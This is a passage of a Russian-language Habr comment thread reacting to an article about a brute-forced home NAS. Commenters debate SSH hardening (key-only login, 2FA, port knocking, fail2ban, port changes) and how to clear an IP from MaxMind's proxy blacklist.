Хотя, наверное, в ряде случаев есть смысл перестраховаться и делать ключ + 2FA. Например, если в сохранности ключей у тех, кому они раздаются, есть обоснованные сомнения.
lolipop
04.01.2020 13:39Не позволяет использовать средства автоматизации, работающие по ssh (тот же ansible).
ничто не мешает держать дополнительный ssh-сервер внутри периметра, который уже не будет закрыт 2fa(2fa на джамп-сервере или vpn). или, например, использовать ансибл в роли псевдоагента, т.е. на каждом хосте проливать локалхост ансиблом.
Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.
в случае компрометации ключа можно получить моментально контроль над всеми хостами, где прописан ключ.
в случае с 2fa, слитые ключ или парольная фраза не такая уж и проблема, 2fa остаётся не скомпрометирован, можно неторопливо заменить пароль/ключ.
Не даёт очевидных преимуществ перед просто использованием ключа в плане защиты от атак.
даёт, например, ключ можно сфорвардить на зараженном сервере и получить доступ к другим хостам.
Например, если в сохранности ключей у тех, кому они раздаются, есть обоснованные сомнения.
напоровшись на зироудей в установленном софте даже человек, в котором нет сомнений, может запросто отдать свой ключ.
ps не пользую 2fa помимо работы(например, дома), но одобряю.aborouhin
04.01.2020 19:43Вообще да, в этом что-то есть. У меня единственный держатель ключей — это я сам, так что вопрос доверия не стоит, но сценариев утечки ключа можно придумать достаточно много.
Но хотелось бы в этом варианте компромисс между удобством и безопасностью всё же немного сдвинуть в сторону удобства. Отсюда вопрос — а никто не знает работающего рецепта настройки 2FA так, чтобы он использовался только для доступа с неизвестных IP-адресов, а для один раз авторизованных — в дальнейшем хватало просто ключа? Сделать два SSH-сервера: один с 2FA, а другой — с ограничением по IP, — очевидно, но тоже неудобно.gecube
04.01.2020 20:35Насколько я помню — можно даже в рамках одного sshd_config делать разные группы хостов и, возможно, что назначать на них разные алгоритмы или параметры авторизации/аутентификации
aborouhin
04.01.2020 23:00Спасибо за наводку, надо погуглить. Если так можно — то написать скрипт, парсящий auth.log, чтобы добавлять один раз успешно авторизовавшиеся адреса в группу, которой не нужна 2FA, — дело простое.
Gordon01
04.01.2020 21:35Отсюда вопрос — а никто не знает работающего рецепта настройки 2FA так, чтобы он использовался только для доступа с неизвестных IP-адресов, а для один раз авторизованных — в дальнейшем хватало просто ключа?
Это поведение по умолчанию!
То есть если вы заходите не по ключу, то у вас спрашивают пароль и код, а если по ключу — ничего.aborouhin
04.01.2020 22:58Речь шла про то, чтобы заходить всегда по ключу, но если адрес не входит в белый список и ранее ни разу не был авторизован с помощью 2FA — то дополнительно к ключу требовать код 2FA. Как защита от утечки ключа.
VuX
04.01.2020 14:01Есть такая вещь как требование безопасников. Если указали использовать составной пароль и выдали RSA-ключи значит будешь каждую консоль открывать ожидая смены RSA-пароля и если раз ошибся с вводом или не успел то опять ждать.
aborouhin
04.01.2020 19:37Ну тут статья изначально была про домашний NAS, так что я комментирую из предположения, что мы обсуждаем те случаи, когда мы сами себе политики безопасности определяем. Понятно, что если есть спущенный сверху стандарт, который не обсуждается — то как бы крив и неудобен он ни был, придётся соблюдать.
firk
04.01.2020 09:33+1Какие удивительные вещи происходят. Статья о том как кому-то сбрутили простой пасс и залили типовую малварь, но при этом с таким заголовком, как будто в ней проведено какое-то расследование мирового масштаба.
И комментарии под ней, на полном серьёзе что-то обсуждающие.
Надо мне наверно тоже написать статью о том как мне 12 лет назад подобрали ssh пароль "123" на пустом сервере и тоже что-то туда залили, и как я потом переустановил систему но уже не ставя таких паролей, может инвайт дадут.mkll
04.01.2020 14:04«Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log был внушительного размера.»
— я не сразу поверил, что это относится к своему собственному NAS, а не, скажем, соседа, который попросил разобраться с неполадкой.
А заголовок статьи огненный, конечно — «веерная атака на подсистему SSH» — это внушаетъ! Я вот купился, например, и даже прочитал до конца статьи, не веря, правда, своим глазам.
aborouhin
04.01.2020 19:45Ну при всей, мягко говоря, недальновидности автора, такой пост — прекрасный повод обсудить необходимые и достаточные меры защиты SSH-сервера и баланс между удобством и паранойей в данном вопросе. Что тут и происходит в комментах :)
sotnikdv
04.01.2020 10:06+51. Скомпрометированная ОС не лечится, а уничтожается с переустановкой. Это тикающая бомба. Я могу столько всего на машину насадить, что замаетесь обнаруживать. И для отвода глаз наследить.
2. Или пароль с 2fa или ключиkaravan_750
04.01.2020 18:13+1Скомпрометированная ОС не лечится, а уничтожается с переустановкой.
Но не следует торопиться с уничтожением.
Эта система становится интересна для анализа причин произошедшего и осознания своих ошибок в плоскости администрирования и настроек, чтоб в новой инсталяции не повторять глупостей.sotnikdv
05.01.2020 07:51+3+1
Добавлю только, что машинка тушится и клонится. А затем уже или потрошится файловая неактивной системы или изолируется от сети и потрошится активная система.
Но в любом случае зараженная машина деактивируется и потом идет в расход.
ianzag
04.01.2020 12:36> Как защититься от подобных атак?
> Используйте безопасные пароли для всех системных пользователей
Очень странная рекомендация. Я бы предложил «запретите любой ssh вход по паролям. требуйте наличие надежного ключа».
lolipop
04.01.2020 13:23Я во всей статье не понял лишь одного, а на кой, простите, вы ваш nas засунули в dmz? Т.е. на мой взгляд проблема даже не в том, что словарный пароль на ssh и не выключен вход по паролю, а именно dmz.
dominigato
04.01.2020 14:55Ну если сервер светит голым 22 с паролем в интернет, то лучше его в дмз держать, конечно.
lolipop
04.01.2020 14:58это не тот dmz, о котором вы подумали. это dmz в терминологии бытовых роутеров, просто перенаправление всего несматченного трафика на один айпи из домашней сети. т.е. отдельного изолированного сегмента сети в этом случае не создаётся.
RouR
04.01.2020 14:03Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением
А зачем IVI делает такие блокировки?aborouhin
04.01.2020 19:48+1Чтобы через прокси/VPN/TOR не получали доступ к контенту из тех регионов, на которые не распространяются лицензионные соглашения с правообладателями. Не удивлюсь, если это требование таких лицензионных соглашений («принимать меры к недопущению… бла-бла-бла»), а не собственная инициатива кинотеатра.
sergo80konev
04.01.2020 15:03на мой сервак пару лет назад тоже часто были атаки, подбирали пароль, тупо сменил порт и все прекратиловь, а так на 21 подключались и подбирали.
amarao
05.01.2020 12:04Заголовок звучит как страшный кликбейт, хотя по сути — пробрутфорсили плохой пароль.
ramax
05.01.2020 20:29+3как снять с адреса черную метку?
Два способа.
1) Ленивый. Ничего не делать. MaxMind периодически сканирует все хосты интернета (ха!). Скорость не раскрывается, но она в целом приемлема. Как только повторно просканируют — удалят метку из своей базы, а далее все клиенты MaxMind (включая ivi) получат обновление, и — вуаля!
2) Активный. Как уже было замечено в комментах — написать в поддержку MaxMind «Я устранил анонимный прокси, сделайте на мой IP (X.X.X.X) ускоренное сканирование». Они на такие просьбы обычно положительно реагируют. Дальше механика та же — скан, обновление БД.
И есть ещё одна проблема: MaxMind бесплатно не показывает статус IP адреса. Но можно воспользоваться чем-то другим. Например, www.ipqualityscore.com/free-ip-lookup-proxy-vpn-test/lookupGennPen
06.01.2020 08:47+1А как быть если на домашнем роутере приходится держать открытый VPN? Например для доступа к домашним компьютерам.
ramax
06.01.2020 10:59Опять-таки, MaxMind не разглашает алгоритм, но выглядит так, что персональные VPN они не маркируют. У меня вот на домашнем адресе есть VPN, но в чёрные списки не попал.
a1ex322
А какой, собственно, смысл держать открытым 22 порт для всех внешних адресов? Какой юз кейс, так сказать?
aborouhin
Юзкейс-то как раз понятен — собственно, ходить по SSH из разных мест :)
Другой вопрос, если не использовать для SSH пароли (тем более легко подбираемые, но лучше в принципе) — в чём большая проблема?
Сейчас посмотрел свои домашне-хоббийные сервера/роутеры — открытый в инет 22 порт обнаружился на одном VPS'е. За последнюю неделю стучались на этот порт ~5000 раз, поскольку авторизация по паролю у sshd отключена в принципе — то ожидаемо получали отлуп. Если бы fail2ban был (надо поставить, кстати) — стучались бы реже, но и так на DoS не тянет, жить не мешает.
На других серверах и прочих железках SSH только из VPN, но даже не уверен, так ли уж это правильно, если внешний IP в принципе есть. Лишняя точка отказа: отвалился VPN — и не зайдёшь никак.
Посоветованный ниже port knocking — лишние телодвижения и неудобства (например, я иногда по SSH с телефона на Андроиде хожу, и как тот клиент настроить, чтобы он сначала «стучался», или другой с такой фичей найти, — вообще неочевидно).
И, опять же, зачем? Так ли уж велик в реальной жизни риск атаки через какой-нибудь 0day эксплойт sshd, который не успеет обновиться в системе раньше, чем злоумышленник использует его именно в отношении моего скромного сервера? Или страхуемся от утечки ключа ssh? Ну так кто его добудет — то с большой долей вероятности он там же подсмотрит и настройки port knocking'а или что там ещё прикручено.
luethus
Я, кстати, в termux настроил себе port knocking (скриптом на питоне) и ssh. Все очень хорошо работает.
aborouhin
Я JuiceSSH использую, в настройках такого нет. Но погуглил — оказывается, у него есть плагин для этой цели. Буду иметь в виду, если всё-таки пойму, что этот port knocking реально улучшает безопасность в каком-то реалистичном сценарии и стoит с ним заморочиться.
romansavrulin Автор
Я считаю, что такой подход может реально улучшить безопасность только если последовательность будет относительно длинная и генерированая рандомно. Если брать что-то, что первым приходит на ум, или (боже упаси) из манов в сети — воспроизвести/угадать такую последовательность можно достаточно просто
aborouhin
Вопрос в том, стoит ли вообще овчинка выделки (с любыми настройками) при условии:
— авторизации в ssh только по ключам;
— установки fail2ban для недопущения DoS'а и переполнения логов.
Два пришедших в голову сценария атаки, при которых port knocking поможет, а эти две меры сами по себе нет, я выше в комментарии привёл: атака через эксплойт sshd и утечка ключа (но без информации о настройках port knocking'а).
Мне кажется, что риск этих сценариев в реальной жизни исчезающе мал. Но было бы интересно услышать, если я ошибаюсь и ещё о чём-то не подумал.
P.S. Ну вот разве что если речь идёт о какой-то труднообновляемой железке (роутер с прошивкой от вендора, обновления которой надо мониторить и накатывать вручную), где sshd древней версии имеет шанс залежаться надолго, — тогда, может, есть смысл перестраховаться.
Hait
А просто сменить ssh порт с дефолта не поможет?
Naves
Нет, не поможет. Эта мера всего лишь оттягивает на пару недель, когда снова начнётся перебор паролей. Тоже самое относится и к другим сервисам типа RDP.
Hait
Ну его в этом случае надо сначала найти и понять действительно ли на устройстве есть сервер. Я не думаю, что все эти скрипты кроме брута паролей занимаются ещё и перебором портов
BugM
65к портов перебираются на раз два.
Это очень просто и быстро.
mayorovp
Если только одновременно не перебираются IP-адреса.
aborouhin
От каких-то самых простых сканеров, может, и поможет. Но от сканеров и переход на ключи вместо паролей поможет сам по себе. А от целенаправленной атаки с использованием утекшего ключа или эксплойта — найти порт будет самой простой задачей злоумышленника.
Hait
От утекшего ключа мало что поможет :)
aborouhin
Ну вот тут в комментах уже как минимум 2 варианта рассмотрели:
— port knocking (если настройки оного не утекли вместе с ключом);
— 2FA (это ещё лучше, но создаёт неудобства в повседневном использовании).
В зависимости от вероятности угрозы, тяжести возможных последствий, степени создаваемых неудобств, стадии развития собственной паранойи :) и пр. — можно выбрать для себя подходящее сочетание защитных мер.
Hait
Можно ещё ограничить пулл доступных адресов, но для этого нужен VPN (чтобы иметь доступ не только из домашней сети)
aborouhin
… а ключ для этого VPN, вероятно, лежал там же, где и ключ для SSH, и утёк вместе с ним :)
Godless
был плагин. чего-то не качается и не находится в маркете
aborouhin
И правда. В самой программе в меню «Плагины» такой плагин есть, но при попытке установить переходит в Маркет, а тот ругается «Item not found». Плагин опенсорсный (https://github.com/Sonelli/juicessh-portknocker), там в issue #4 обсуждается эта проблема и дали ссылку на APK.
В любом случае, я что-то по итогам дискуссии склоняюсь в пользу выборочного 2FA вместо port knocking…